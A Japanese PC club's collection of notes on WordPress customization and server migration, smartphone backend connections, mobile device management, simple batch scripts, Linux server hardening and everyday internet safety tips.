投稿者: ＰＣクラブ

５月１１日（月）　市民協働課に申請書を提出した
　　標題は「ＳＮＳを活用した市民参画」

参考資料（１）
　　平成２６年　総務省　報道資料
　　　　電子自治体の取組みを加速するための１０の指針

参考資料（２）
　　平成２５年度　情報通信白書
　　　　第１部　特集「スマートICT」の戦略的活用でいかに日本に元気と成長をもたらすか
　　　　第２章　ICTの活用による社会的課題の解決
　　　　第１節　電子行政とオープンデータ
　　　　第３項　電子行政推進と国民・地方自治体の認識（アンケート結果）
　　　　（２）　地方自治体の認識・取組状況　　を参考にした

参考資料（３）
　　平成２４年　国立民族学博物館調査報告
　　　　情報化時代のローカル・コミュニティ ―ICT を活用した地域ネットワークの構築 ―
　　　　第４章　国・自治体による地域 SNS

参考資料（４）
　　平成１８年　電子自治体の推進に向けた施策展開

参考資料（５）
　　平成１７年　ICTを活用した地域社会への住民参画のあり方に関する研究会
　　　　住民参画システム利用の手引き

スマホアプリをバックエンド（社内システムや企業クラウド等）に接続する
　　（１）接続方法の違い
　　　　フィーチャーホンの場合
　　　　　　携帯回線を通じて通信事業者のネットワークを利用する
　　　　スマートホンの場合
　　　　　　携帯回線やWiFiルータを通じて無線ＬＡＮ
　　　　　　ＰＣとの区別無く繋がる

　　（２）接続方法の種類
　　　　・ＶＰＮ利用して接続する
　　　　　　ＯＳが標準で搭載しているＶＰＮクライアント機能を利用する
　　　　　　社内のＰＣと同様にサーバーにアクセスできる
　　　　　　　　利点
　　　　　　　　　　安全なネットワーク接続が実現できる
　　　　　　　　　　サーバー側にアプリを導入するだけでシステムが構築できる
　　　　　　　　欠点
　　　　　　　　　　都度、接続と切断が必要となり、結構手間だと感じる
　　　　　　　　　　消費電力も気になる

　　　　・サーバーに直接接続する
　　　　　　ファイアーウオールやルーターを設定してサーバーに接続する
　　　　　　専用ＡＰＩに対応したアプリを利用する
　　　　　　　　利点
　　　　　　　　　　通常外部に公開しているサーバーと同じ運用管理で十分である
　　　　　　　　欠点
　　　　　　　　　　サーバー側に認証機能が必要となる
　　　　　　　　　　セキュリティー対策が必要だが、通常必要とされているモノで十分である
　　　　　　　　　　ＳＳＬを利用すればセキュリティーと利用者制限も掛けられる

　　　　・ゲートウェイ製品を利用して接続する
　　　　　　サーバー側はゲートウェイ製品に対応したソフトを利用する
　　　　　　スマホ側もゲートウェイ製品に対応したアプリを利用する
　　　　　　　　利点
　　　　　　　　　　ＤＢサーバーやＥＲＰパッケージに直接接続する
　　　　　　　　　　セキュリティー対策や認証システムが備わっており費用を抑えられる

記事の内容を短い文章で表示する
　　ＷＰには「抜粋」を利用して抄録として表示する方法がある
　　　　※「抜粋」として入力するのは手間なので、記事の先頭から110バイトを表示する

　　ＷＰのホルダー（wp-content　→　themes　→　twentythirteen）にある
　　　　【functions.php】を直接修正する
　　　　　　※下記の例は「テーマ　２０１３」の例です

修正箇所
　　・target=”_blamk”を追加した
　　・「続きを読む」を表示させた
　　・「続きを読む」から記事にリンクさせた
　　・文末に記事のタイトルが表示されていたのを削除する
　　・文末にリンクを示す矢印が表示されていたのを削除する

ガジェット等を全て削除して記事の表示エリアを大きくした
　　当然、記事の表示エリア（横幅）を拡張することになった

　　どこにあるＣＳＳファイルを修正するのかが分からなかった（テーマ２０１３を使用）
　　　　ＷＰのホルダー（wp-content　→　themes　→　twentythirteen）に
　　　　　　ＣＳＳファイルがあるが、上手くフィットしない
　　　　探しあぐねた結果、ＷＰでＣＳＳの修正が直接出来ることが分かった
　　　　　　※下記の例は「テーマ２０１３」の例です

ＷＰの管理者画面で「外観」に入る
　　「テーマの編集」を選択する（画像：修正前を参照）
　　　　「5.0　Content」を探す・・・（注）テーマが違えば場所が変わります

　　クラスのENTRY群を修正の対象にする
　　　　【max-width:　604px;】を【max-width:　800px;】に修正する （画像：修正後を参照）

　　上記はあくまでも例題なので、状況に合わせて長さを調節する

データベース移設（引越し）についての注意事項
　　ＷＰの移設には起きなかったエラーが発生する
　　　　入力チエックが貧弱なので、エラーデータが紛れ込んでいる

　　（１）和暦の年月日で２月２９日が存在するケース
　　　　１２７８－０２－２９　　　 弘安元年と改元
　　　　１５０１－０２－２９　　　 文亀元年と改元
　　　　１５０４－０２－３０　　　 永正元年と改元
　　　　　　※ＤＢ登録時には入力エラーとならない、移行時にエラーとなる

　　（２）小文字の【,】や【’】が紛れ込むケース
　　　　英文をコピーした場合
　　　　　　小文字のカンマはＣＳＶにとっては命取り、フォーマット相違（カラムずれ）エラーとなる
　　　　　　ＣＳＶファイルを表示した際に見苦しいので【”】で囲むことはしない
　　　　数字の位取りに使用した場合
　　　　　　全角での入力を心がけていはいるが、紛れ込むケースがある

サーバー移設（引越し）の「ＤＮＳ設定」について
　　「独自ドメインンの設定」が終了していること

　　（１）コントロールパネルに入る
　　　　「ドメイン操作」の「取得済みドメイン一覧」をクリックする

　　（２）変更できるドメインを選択する
　　　　取得済みドメイン一覧が表示されているので
　　　　　　設定変更するドメイン名の横の「緑色のＤＮＳ」をクリックする
　　　　　　　　ボタンの意味は「ＤＮＳレコードの変更/ＵＲＬ転送の変更」と示されている

　　（３）独自ドメインとサーバーを関連付けます
　　　　　　※これ以降、旧サーバーではなく新サーバーが本物になります
　　　　ここまで手順通りに進んでくると、設定値が既に表示されている
　　　　　　自動設定の文言の下に「サーバー名」を入力する
　　　　　　　　業者と契約した際に割り振られた「アカウント＠サーバー名」のサーバー名のこと
　　　　　　「保存する」をクリックする

　　（４）サーバー移設の完了
　　　　以上で全て完了です
　

サーバー移設（引越し）の「独自ドメインの設定」について
　　「ネームサーバーの変更」が終了していること

　　（１）コントロールパネルの左側メニューを見る
　　　　「ドメインの利用」の「ドメインウェブの設定」をクリックする

　　（２）独自ドメインの設定を行う
　　　　・Main欄にドメインを入力すると、public_htmlとドメインが同等になる
　　　　　　root直下がドメインの入り口になる
　　　　・Sub欄にドメインを入力すると、public_html内にドメインと同じフォルダが作成される
　　　　　　root直下にフォルダーが出来て、ここが入り口になる

　　　　・NoDirにはチェックを入れない

　　　　「ドメイン設定をする」をクリックする

　　（３）テストを続ける
　　　　サブドメインのテストなどが出来るようになる
　　　　　　※ここまでは新サーバーはテスト環境の様なもの
　　　　　　※但し、並行運用となるので旧サーバーの更新は必ず新サーバーに反映させること

　　（４）ＤＮＳ設定を行う
　　　　テストが完了すると
　　　　　　次に「サーバー移設（３）」に進む

サーバー移設（引越し）の「ネームサーバーの変更」について
　　取得した独自ドメインを活かして、別の業者のサーバーに移設する
　　　　移設作業は短時間で終了するが一度きりなので慎重に準備すること
　　　　　　※業者固有の手続きの部分もあるので一般的な移設手順ではない

　　（１）準備作業
　　　　新たに業者とサーバーのレンタル契約を結ぶ
　　　　　　新たに利用可能な「サブドメイン（ＵＲＬ）」が割り当てられる
　　　　　　ＩＰアドレスも割り振られ、自由に外部からアクセスできる状態になる

　　　　割り当てられたＵＲＬを使って、データ移行を行う
　　　　　　旧サーバーから新サーバーに順次プログラムやデータを移行する
　　　　　　事前テストも十分に行ってから、サーバー移設に取り掛かること
　　　　　　　　※「サーバー移設（３）」までは旧サーバーが本物、十分テストを繰り返すこと

　　（２）コントロールパネルの「ドメイン操作」に入る
　　　　「ネームサーバーの変更」をクリックする

　　（３）変更するドメインを指定する
　　　　「ネームサーバー変更」画面に所有するドメイン名が表示されている
　　　　　　該当する名前を選んで、「変更」をクリックする

　　（４）業者が用意したネームサーバーを設定する
　　　　汎用JPドメインの場合には、既に規定のネームサーバーが表示されている
　　　　確認したら「保存」をクリックして、作業は終了です

　　（５）独自ドメイン設定を行う
　　　　次に「サーバー移設（２）」に進む

サーバー移設に伴ってＷＰも移設する
　　新旧でＵＲＬが変わる場合
　　　　通常のＷＰ移設に従って記述する

　　（１）ＵＲＬが変更になった場合
　　　　※今回はＵＲＬは変更していないので対応せず、参考に載せて置きます
　　　　　　・記事のパーマリンク(guid)の変更を行う
　　　　　　　　UPDATE wp_posts SET guid =
　　　　　　　　REPLACE (guid, ‘変更前のURL’, ‘変更後のURL’);
　　　　　　・記事内のURLの変更
　　　　　　　　UPDATE wp_posts SET post_content =
　　　　　　　　REPLACE (post_content, ‘変更前のURL’, ‘変更後のURL’);
　　　　　　・画像のパスの変更
　　　　　　　　UPDATE wp_posts SET post_content =
　　　　　　　　REPLACE (post_content, ‘src=”変更前のURL’, ‘src=”変更後のURL’);

　　　　　　　　UPDATE wp_posts SET guid =
　　　　　　　　REPLACE (guid, ‘変更前のURL’, ‘変更後のURL’)
　　　　　　　　WHERE post_type = ‘attachment’;
　　　　　　・各投稿のメタ情報の変更
　　　　　　　　UPDATE wp_postmeta SET meta_value =
　　　　　　　　REPLACE (meta_value, ‘変更前のURL’,’変更後のURL’);

　　　　見た目は単純だが、対応するとなると大変だと思われる
　　　　　　無難にＵＲＬは新旧を揃えるのがベターだと思う
　

サーバー移設に伴ってＷＰも移設する
　　接頭辞「ＷＰ１－」を「ＷＰ－」に変更する場合
　　　　通常のＷＰ移設に従って記述する

　　（１）旧サーバデータベースをエクスポートする
　　　　phpMyAdminを使ってテーブル単位（１１個）でＣＳＶファイルにエクスポートする
　　　　　　※接頭辞「ＷＰ１－」を付けたままで結構

　　（２）新サーバーにＤＢを作成　～　（５）ＷＰとＤＢを紐付ける
　　　　　　通常と同じ手順で進める
　　　　　　　　※テーブルは「ＷＰ－」で作成されている

　　（６）旧サーバーのＣＳＶファイルからインポートする
　　　　phpMyAdminを使ってテーブル単位（１１個）にインポートする
　　　　　　※接頭辞を無視してテーブル名で紐付けしてインポートする

　　（７）wordpressの場所を変更する
　　　　・場所（ＵＲＬ）の変更を行ったうえに
　　　　・同じ「options」テーブルの変更
　　　　　　「option_name」フィールドの「接頭辞_user_roles」を修正する
　　　　・「usermeta」テーブルの変更
　　　　　　「meta_key」フィールドの接頭辞を全て修正する
　　　　　　　　※旧サーバーでのユーザーごとに存在するので注意すること
　　　　　　　　※今回の場合、１ユーザーで３個の修正でした

　　（８）ＷＰを立ち上げる
　　　　ＷＰへの接続を確認する
　　　　　　※「このページにアクセスするための十分なアクセス権がありません。」
　　　　　　　　上記メッセージでログイン出来ない時は
　　　　　　　　接頭辞の修正が終わってないことが原因の場合があります

　　（９）新サーバーの内容に変更する
　　　　管理者やその他（編集者）のユーザー登録
　　　　上記に合わせてパスワード設定を行う

　　（１０）「uploads」のファイル群を移す
　　　　パーミッションの再設定（書込み可）をしておく
　

サーバー移設に伴ってＷＰも移設する

　　（１）旧サーバデータベースをエクスポートする
　　　　phpMyAdminを使ってテーブル単位（１１個）でＣＳＶファイルにエクスポートする
　　　　　　※長年の習性でＳＥＱファイルでのデータ移行になります

　　（２）新サーバーにＤＢを作成する
　　　　ＷＰのインストールにはＤＢが存在することが必要なので、先にＤＢを用意する
　　　　　　ＤＢ名は使用目的に準じたモノにする
　　　　　　　　※新側には新側の規則があるので、ＤＢの名前が変わることになる

　　（３）新サーバーにＷＰをインストール
　　　　旧サーバーのバージョンと同じＷＰをインストールする
　　　　　　※ＷＰ本体もコピーすれば移設できますが、今回は新規インストールしました
　　　　　　※新側が古いバージョンだったので、厳密には合わせられなかった

　　（４）ｐｈｐを動かす準備をする
　　　　念のために「.htaccess」にｐｈｐが動く様にセットする
　　　　　　※サーバーによっては準備されており、不要かもしれない

　　（５）ＷＰとＤＢを紐付ける
　　　　必要なのは、「ＤＢ名」、「ユーザー名」、「パスワード」の３種類
　　　　続けて、「管理者名」、「管理者パスワード」をセットする
　　　　　　wordpressホルダー直下の「index.php」を動かす方法でセットする
　　　　　　　　※「wp-config.php」を直接修正するよりは分かり易い

　　（６）旧サーバーのＣＳＶファイルからインポートする
　　　　phpMyAdminを使ってテーブル単位（１１個）にインポートする
　　　　　　※通常ならここで移設は完了する

　　（７）wordpressの場所を変更する
　　　　旧サーバーの内容がインポートされているので、必要な情報に変更する
　　　　　　「wp_options」テーブルの「option_name」→「siteurl」を変更する
　　　　　　　　※旧のＵＲＬなので新のＵＲＬに書き換える
　　　　　　　　※この作業を抜かすと、次のＷＰ立ち上げに失敗する

　　（８）ＷＰを立ち上げる
　　　　ログイン画面を呼び出し、ＷＰへの接続を確認する
　　　　　　※ＤＢは旧サーバーの内容なので、旧のＩＤとパスワードでログインする

　　（９）新サーバーの内容に変更する
　　　　管理者やその他（編集者）のユーザー登録
　　　　上記に合わせてパスワード設定を行う

　　（１０）「uploads」のファイル群を移す
　　　　パーミッションの再設定（書込み可）をしておく

補足説明
　　新サーバーでテストしたい時には
　　　　（７）で新サーバーでのＵＲＬを設定するのだが
　　　　特にネームサーバー変更前はテスト用のＵＲＬを指定する
　　　　ネームサーバーの変更が完了したら旧サーバーと同じＵＲＬにする
　　　　　　※ここを臨機応変に対応しないとＷＰが動かなくて迷路にはまり込む
　

１．ＩＴ習得の基本的な活動

　ステージ１
　　　オフィス系ソフト（WordやExcel）の使いこなし
　　　　　年賀はがき、暑中見舞いはがき
　　　　　お小遣い帳、季節のお便り、カレンダー、名刺等の作成

　ステージ２
　　　デジカメやインターネット、スマートフォン、クラウドの使いこなし
　　　メール送受信、ＨＰ閲覧

２．ＩＴを応用する活動（基本的な活動が発展してくる）

　ステージ１の活動はより日常生活に密着してくる
　　　ビジネス文書とか表計算とかグラフ表示ではなく
　　　自治会の回覧板、バス旅行の案内、医療費控除の計算書の作成等に移る

　ステージ２の活動もより日常生活に密着してくる
　　　スマホで写真を撮ってクラウドに保存する
　　　ネット検索、ＳＮＳと情報を交換する様になる
　　　ネット通販、安否確認等に利用の幅が広がってくる

３．クラブでの注意点

　アカウント情報の取り扱い
　　　ログイン時のアカウントとパスワードが覚えられない、入力に手間取る
　　　複数のサービス用に複数のアカウント情報を使い分ける必要がある

　　　便利で簡単な管理ツールの利用を勧める

　カタカナ用語の取り扱い
　　　例としてダウンロードやアップロードといった言葉に馴染めない
　　　ＰＣでのデータ操作と言葉の概念とが一致しないのが原因

　　　図式で示す等の工夫を凝らして慣れていくしかない

ソーシャルメディアを通じて組織内でマスコラボレーションする際の原則を記述する
　　ソーシャルメディアを使って、組織のコミュニティーを高めようとする際に気をつけるべき点です

（１）参加
　　組織に貢献するコミュニティーを作る
　　　　人々がコミュニティーに参加するきっかけとなるコンテンツを用意する

（２）目的
　　進んで貢献させる
　　　　ターゲットとなる人々にとって意味のある明確な目標を定める

（３）透明
　　貢献を評価する
　　　　メンバーの活動内容は他のメンバーに公開され評価されるので
　　　　評価を手助けする機能を積極的に提供する

（４）独立
　　活動を妨げない
　　　　他のメンバーとは関係なく個人でコミュニティーに参加してくる独立性を保っているので
　　　　承認や制御といった活動を妨げる様なものは可能な限り排除する

（５）持続
　　貢献を保持する
　　　　メンバーの貢献が後から他のメンバーによって自由に閲覧・共有・追加できることが重要

（６）創発
　　自らを導く
　　　　コミュニティーの有り様はあらかじめ設計したり制御できないので
　　　　目的は明確にするが、実現する方法については自由度を持たせる

インターネットを利用する際の対策
　　ＭＡＭ（MobileApplicationManagement）
　　　　スマートデバイス上のaplをネットワーク経由で集中管理する技術
　　　　個人利用のデバイスを企業の業務システムで使う場合などに有効となる

　　主たる機能
　　　　・他のaplとのデータ連携を制限する
　　　　　　あるaplが管理しているファイルを他のaplからアクセスさせない
　　　　・アクセス可能なサーバーやリソースを制限する
　　　　　　スマートデバイスから社内サーバーへの侵入を防ぐ
　　　　・aplやデータをインターネット経由で削除する
　　　　　　紛失時などに第三者によるaplの不正使用を防ぐ
　　　　・その他
　　　　　　データ保存時に暗号化、コピペの禁止、スクリーンキャプチャーの禁止、印刷の禁止
　　　　　　ユーザ認証の追加、ハスワード設定の強化、アンインストールの実行　等々

　　ＭＤＭ（MobileDeviceManagement）との比較
　　　　デバイス単位の管理のため、個別apl単位の管理はできない
　　　　　　apl単位での細かなセキュリティー強化ができない
　　　　　　スマートデバイスの紛失時には、業務用データは削除し個人用データは残すこともできる

　　システムへの組み込み方法
　　　　（１）ＳＤＫ（SoftwareDevelopmentKit）方式
　　　　　　既存のソースコードにＳＤＫのＡＰＩを呼び出す数行を追加する
　　　　　　
　　　　（２）ラッピング方式
　　　　　　実行形式のaplと専用モジュールをラッピングして使用する
　　　　　　ソースコードの修正は不要（専用モジュールがシステムコールを監視し制御するため不要）

　　　　（３）ベンダーが用意した専用aplを使用する
　　　　　　標準でインストールされているソフトよりも高機能なソフト（apl）を使うことになる
　

ＭＤＭの主な機能
　　・リモートロック
　　　　ネットワーク経由でコマンドを発行し端末操作を不能にする

　　・リモートワイプ
　　　　ネットワーク経由でコマンドを発行し端末を工場出荷時の状態に初期化する
　　　　　　情報漏洩対策として有効だが
　　　　　　　　機器紛失からデータ消去まで時間が掛かる
　　　　　　　　コマンドの受信が不確実である
　　　　　　　　　　電波の届かない場所にある場合
　　　　　　　　　　「機内モード」の場合
　　　　　　　　　　無線ＬＡＮに繋がない場合
　　　　　　　　コマンドの実行結果が確認できない

　　　　　　システム領域が工場出荷時に戻るだけなので
　　　　　　　　ユーザー領域は見えなくなるだけでツールを使えば見えるようになる
　　　　　　　　ＳＤカードなどは初期化されずにそのままの状態で残る

　　　　メモリー内のデータを暗号化する機能を利用する、ことが必要

　　・遠隔監視
　　　　端末のハードウェアやＯＳ等の情報をリアルタイムに取得する

　　・デバイス制御
　　　　セエキュリティー機能や通信機能等の機能制限や設定を変更する

　　・アプリケーション監視
　　　　アプリを配布したり、バージョンアップしたりする

　　・フィルタリング
　　　　ブラウザーからのアクセス先を制限する

　　・不正アプリ対策
　　　　ブラックリストやホワイトリストでアプリの利用やインストールを制限する

　　・バックアップ
　　　　端末内の一部のデータをバックアップする

　　・暗号化機能
　　　　ＳＤカードや端末本体の一部データを暗号化する
　
情報の種類による対策機能
　　・ネットワーク接続情報、メールやWeb情報、アドレス帳の個人情報
　　　　ＭＤＭの基本機能で対応する
　　　　　　パスコード認証、ローカルワイプ、リモートワイプ、リモートロック

　　・公式アプリの情報、独自開発アプリの情報
　　　　ＭＤＭ製品個別の機能で対応する
　　　　　　ＭＡＭ（モバイルアプリケーション管理）

　　・業務情報
　　　　ＭＤＭでは対応できないので独自に対策が必要
　　　　　　アプリ内データ暗号化、キャッシュ消去機能付きアプリ
　

ＰＣからプロジェクターへの接続
　　メーカーによってファンクションキーが異なります

バッチ処理とは、プロセスをある程度の単位でまとめて一括処理することをいう
　　（１）Windowsの例
　　　　・バッチファイルを作成する
　　　　　　下記の例のように作成する
　　　　　　　　start “c:\Program Files\Internet Explorer” http://denkenhs1.web.fc2.com/
　　　　　　　　timeout 5

　　　　　　　　startコマンドで特定のプログラムを動かす（パラメータとしてURLを渡す例）
　　　　　　　　　　※ＩＥが毎回新しいタブで開かないように、ＩＥのオプションを変更する
　　　　　　　　　　　　インターネットオプション　→　全般　→　タブと進み
　　　　　　　　　　　　他のプログラム･･･開く方法　を　現在のタブ･･･ウィンドウ　に設定する　
　　　　　　　　timeoutコマンドで５秒間待つ

　　　　・ファイル名を付けて保管する
　　　　　　場所はどこでも良い、識別名を【.bat】とする

　　　　・コマンドプロンプトを呼び出す
　　　　　　アクセサリー　→　コマンドプロンプトと進み、コマンドプロンプトを起動させる

　　　　・バッチファイルに起動を掛ける
　　　　　　ファイル保管場所（ディレクトリー）を探し当て、ファイル名を入力して起動を掛ける

　　（２）Linuxの例
　　　　・バッチファイルを作成する
　　　　　　下記のように作成する
　　　　　　　　#!/bin/sh
　　　　　　　　xdg-open http://ksrd.jp
　　　　　　　　sleep 5s

　　　　　　　　最初の行は決まりごと
　　　　　　　　xdg-openコマンドで特定のＵＲＬに起動を掛ける
　　　　　　　　sleepコマンドで５秒間待つ

　　　　・ファイル名を付けて保管する
　　　　　　場所はどこでも良い、識別名を【.sh】として他と区別する

　　　　・コマンドプロンプトを呼び出す
　　　　　　「端末（urxvt）」アイコンをクリックする

　　　　・バッチファイルに起動を掛ける
　　　　　　ファイル名を入力して起動を掛ける
　

セキュリティソフトが不要な理由
　　（１）ファイルパーミッション
　　　　・管理者制限が用意されており、管理者以外はシステムファイルを操作することはできない
　　　　　　Ｗｉｎｄｏｗｓでは、メールをプレビューしたり、圧縮ファイルを展開しただけで
　　　　　　　　実行ファイルが起動しウイルスに感染する場合がある
　　　　　　Ｌｉｎｕｘでは、入手したばかりの実行ファイルには権限が与えられていないため
　　　　　　　　それがウイルスであったとしても、全く動き出さない

　　（２）パッケージ（ＡＰＴ、ＲＰＭ）管理
　　　　ソフトを任意のディレクトリにインストールしない・させないを基本とする
　　　　　　ユーザーはソフトのインストールやアンインストールを管理の仕組みを通じて行う
　　　　　　　　あらかじめ認証登録されたリポジトリからしかソフトをインストールしない
　　　　　　　　ここからウイルスが紛れ込む心配はほとんどない
　　　　　　インストールされているすべてのソフトの最新版を確認しアップデートしてくれる

　　（３）オープンソース（ＯＳＳ）
　　　　Ｌｉｎｕｘの更新頻度は非常に高く、脆弱性の報告から修正までの時間が短い
　　　　　　ＯＳ自体が極めて堅牢だと言える
　　　　　　標準で搭載されているソフトもＯＳＳであるため、非常に信頼できる

　　（４）ウイルスがほとんど存在しない
　　　　Ｌｉｎｕｘのシェアは非常に少ない
　　　　　　ウイルスを作っても被害を与えることができない（利益を得ることが出来ない）
　　　　　　　　※よくセキュリティーソフトが不要な理由のひとつに上げられるが
　　　　　　　　　　ウイルスが存在しない（今後発生しない）ことはない、と思います

　　補足
　　　　Ｌｉｎｕｘユーザーが増えたら、ウイルスのリスクは必然的に高まる
　　　　　　セキュリティホールも数多く発見され、修正されるであろう
　　　　　　リポジトリの信用認証も経ずにソフトをインストールする人も多くなるであろう
　　　　自分のＰＣには無害であっても、メールにWindows用ウイルスを誤って添付する可能性もある

　　　　ウィルス対策ソフトは不要ではありません
　　　　　　無料のソフトがあるので、インストールしておくのがベターだと思います

Linuxのセキュリティ対策　サーバー編
　　（１）ソフトウェア管理
　　　　・ＯＳ（カーネル）のアップデート情報をチェックし最新のアップデートを必ず適用する
　　　　　　ディストリビューターからの情報をこまめにチェックし、アップデートする

　　　　・不要なソフトウェアをインストールしない
　　　　　　インストールの際のパッケージには最小構成（Minimal）を選ぶ
　　　　　　そこから必要なパッケージのみを個別にインストールするようにする

　　　（２）ユーザー管理
　　　　・不要になったユーザーアカウントは削除する
　　　　　　使用されなくなったユーザーアカウントは「userdel」コマンドによって削除する
　　　　　　ユーザーアカウントの利用を再開する可能性がある場合は
　　　　　　　　とりあえず「passwd」コマンドでログインできないようにしておく

　　　　・パスワード漏えい対策に有効期限を設定する
　　　　　　パスワードは「chage」コマンドで有効期限を設定しておく
　　　　　　　　パスワードを定期的に変更することで不正アクセスを防止する

　　　　・ユーザーによる権限昇格を防止する
　　　　　　「pam_wheel.so」を設定し「su」コマンドを使用できるユーザーを制限する
　　　　　　　　root権限に昇格させると、どんな設定も変更できるので必ず制限する
　　　　　　さらに管理者権限の共有は絶対させない

　　（３）運用管理
　　　　・アクセス権を適切に設定する
　　　　　　ファイルやディレクトリには適切なパーミッション（アクセス権）を設定する
　　　　　　　　「chmod」コマンドによって「読み込み」「書き込み」「実行」の権限を設定しておく
　　　　　　ファイルを所有するユーザやグループについて、誰がどのような操作をするかを設定する

　　　　・不要なデーモンを起動させない
　　　　　　ＧＵＩのサーバ管理ツールを使わないなら
　　　　　　　　ランレベルを３に設定し、不要なデーモンを起動しないようにする
　　　　　　　　不必要なデーモンを起動させておくと、使用しないポートが開いたままの状態となる

　　　　・不要なSUIDを削除する
　　　　　　「find」コマンドを使用して、不要なSUIDが付与されているファイルがないかを確認し削除する
　　　　　　　　SUIDが設定されている実行ファイルは
　　　　　　　　　　誰が実行してもファイル所有者の権限で処理が実行される

　　　　・ログを正確に残す
　　　　　　ログファイルを保存しておく
　　　　　　　　ストレージ容量を圧迫するので、一定の量で別のディスクにバックアップする
　　　　　　　　ＮＴＰを使用してサーバの時刻を正確に維持しておく

　　（４）ネットワーク管理
　　　　・パケットフィルタリングを行う
　　　　　　iptablesなどでパケットフィルタリングを行う
　　　　　　　　パケットのヘッダに含まれるポートやＩＰアドレス情報、通信の方向などをチェックする　　　　　　　　チエックポリシーのチューニングも定期的に行う

　　　　・不要なポートを閉じる
　　　　　　「netstat」コマンドを実行し、現在開いているポート番号を確認して不要なポートを閉じる

　　　　・リモートアクセスで管理する場合はＳＳＨを利用する
　　　　　　ＳＳＨは通信内容が暗号化されるため安全です

インターネットを利用する際の対策
　　（１）ＯＳやソフトウェアは常に最新状態にする
　　　　新たに広まるコンピュータウィルスに対抗するため
　　　　　　製造元から配布される最新の改良プログラムにアップデートする

　　（２）パスワードは貴重品として扱う
　　　　自宅の鍵と同じくらいに大切にする
　　　　　　他人に知られないように、メモするなら人目に触れない場所に保管する

　　（３）ログインＩＤやパスワードは絶対教えない
　　　　金融機関や公共機関を名乗り、口座番号やパスワードの入力を促された場合には
　　　　　　身に覚えが無ければ入力しない
　　　　　　指示された方法とは異なる手順で確認する

　　（４）添付ファイルの開封に注意する
　　　　身に覚えのないメールが届いた場合には
　　　　　　コンピュータウィルスが潜んで居る可能性がある
　　　　　　添付ファイルを開いたりＵＲＬをクリックしない

　　（５）ウィルス対策ソフトを導入する
　　　　ウィルスに感染しないように
　　　　　　有料であっても、必ずウィルス対策ソフトを導入する

　　（６）ネットショッピングは信頼できる店で購入する
　　　　詐欺被害に遭わないように信頼できる店を選ぶ
　　　　　　身近な人たちからの情報を集めることが必要

　　（７）大切な情報は暗号化する
　　　　万が一、大切な情報が盗まれてもさらに被害が広がらないように
　　　　　　暗号化しておけば内容が漏れることは無く、一先ず安心できる

　　（８）外出先で紛失や盗難に注意する
　　　　電子機器（ＰＣ、タブレット、スマホ等）は厳重に管理する
　　　　　　機器の使用開始時にはパスワードの入力を必須にしておく
　　　　　　多少、煩雑になるがパスワード入力を設定しておく

　　（９）困った時には相談する
　　　　何らかの形で被害に遭ったら下記相談窓口まで

各種相談窓口
　　・ウィルスに感染したと思ったら
　　　　ＩＰＡセキュリティー安心相談窓口　03-5978-7509

　　・広告や宣伝目的のメールに困ったら
　　　　日本データ通信協会　迷惑メール相談センター　03-5974-0068

　　・犯罪に関する相談、電話による情報提供
　　　　警察のサイバー犯罪相談窓口　

ＣＭＳの選択基準を記述する
　　（１）代表的なＣＭＳ

商品名	ＷｏｒｄＰｒｅｓｓ	Ｊｉｍｄｏ	Ｏｆｆｉｃｅ365
料金	無料	無料プラン 有料プラン	有料
必要条件	サーバーにインストール ＰＨＰとＭｙＳＱＬが必要	利用登録のみ インストール不要	利用登録のみ インストール不要
特徴	ブログ感覚で記事を投稿する 固定ページと合わせてＨＰを構成する テーマを変更し自由にデザインする 多様なプラグインが存在する	直感的な操作で分かりやすい １００種類以上のデザインから選べる	ＭＳが提供する環境に構築する 部品を組み合わせる感覚で操作する 必要なアプリを入手（無料・有料）して補う

　　（２）ＣＭＳを有効活用するには
　　　　・ＨＰを構築する際にＣＭＳを活用する
　　　　　　※どういったＣＭＳを使うかは、さほど重要ではない、

　　　　・他のサイトとの連携を上手に取ることが重要
　　　　　　自分自身のＨＰを活性化させ
　　　　　　　　外部のブログやＨＰと相互に連携させる
　　　　　　　　ＳＮＳを活用し、最新情報を手早く自分のＨＰに取込む
　　　　　　　　ＲＳＳを利用し、最新情報を手早く自分のＨＰに取込む

　　　　ＣＭＳを使って構築したＨＰによって
　　　　　　有効なコミュニケーションを図ることがＣＭＳの有効活用に繋がる
　

サーバー移設に伴って環境が変わった、備忘録として残しておく

　　大きな違いは
　　　　ＷｉｎｄｏｗｓサーバーからＵｎｉｘサーバーに切り替わった
　　　　ＰＨＰとＭｙＳＱＬのバージョンがアップした

　　（１）漢字コードの扱いが変わった
　　　　以前はＷｉｎｄｏｗｓ環境のためShift-Jisコードを使っていた
　　　　　　ＭｙＳＱＬ周りでは警告メーッセージが表示されていた
　　　　　　漢字ホルダーが使えるためshift-jisを使い続けていた

　　　　今回Ｕｎｉｘ環境のためUTF-8コードを使うことにした
　　　　　　データは文字コードを変換しながら移行した

　　　　通常処理においては問題なし
　　　　　　一部の文言編集でトラブル発生
　　　　　　　　ＰＨＰプログラムで動的に漢字文言を切り取って貼り付けていた
　　　　　　shift-jisでは漢字は２バイト文字として長さを判断していた
　　　　　　UTF-8では３バイト（原則は不定長）として扱わないといけない
　　　　応急対応はしたが、全面見直しが必要になった

　　（２）mb_ストリンング命令が使えない
　　　　Xamppのテスト環境では使えているが、サーバー環境では使えない
　　　　　　詳しくは原因調査せず
　　　　　　上記の漢字バイト問題と同じで恒久対応を考える
　　　　　　　　【php.ini】を調べてみる

　　（３）$_POST命令に切り替える
　　　　$_GET命令を主に使っていた
　　　　　　ＵＲＬ上に受け渡しパラメータを乗せる方法
　　　　内容が丸見えになるので、$_POSTに順次切り替える
　　　　　　強力な措置ではないが、人目に晒すことは避けておくことにした
　　　　　　併せてパラメータチエックを強化する

ハードディスクにインストールする必要がないLinuxディストリビューション
　　Puppy LinuxのＬｉｖｅ ＵＳＢを作成する

　　（１）ＵＳＢをフォーマットする
　　　　ＦＡＴ３２でＵＳＢを初期化する

　　（２）Puppy LinuxのＩＳＯイメージの取得
　　　　Ｌｉｖｅ ＣＤのＩＳＯイメージをPuppy Linuxの日本語版ページより取得する
　　　　　　(例）precise-571JP.isoをダウンロードした

　　（３）ＩＳＯイメージの書き込みソフトのダウンロード
　　　　UnetbootinのページからUNetbootinのWindows版を（今回は）取得する

　　（４）ＵＳＢへの書き込み
　　　　使い方を下記に示す

　　（５）ＵＳＢから起動を掛ける
　　　　ＰＣを再起動させ、ＵＳＢからPuppy Linuxの起動を確認する
　　　　　　Puppy Linuxインストールすることも
　　　　　　Windowsを残したまま、ＵＳＢから起動させることも選択できる

ハードディスクにインストールする必要がないLinuxディストリビューション
　　LiveＣＤとして提供される
　　　　起動時にＲＡＭへシステムを読み込むのでハードディスクが無くても使用できる
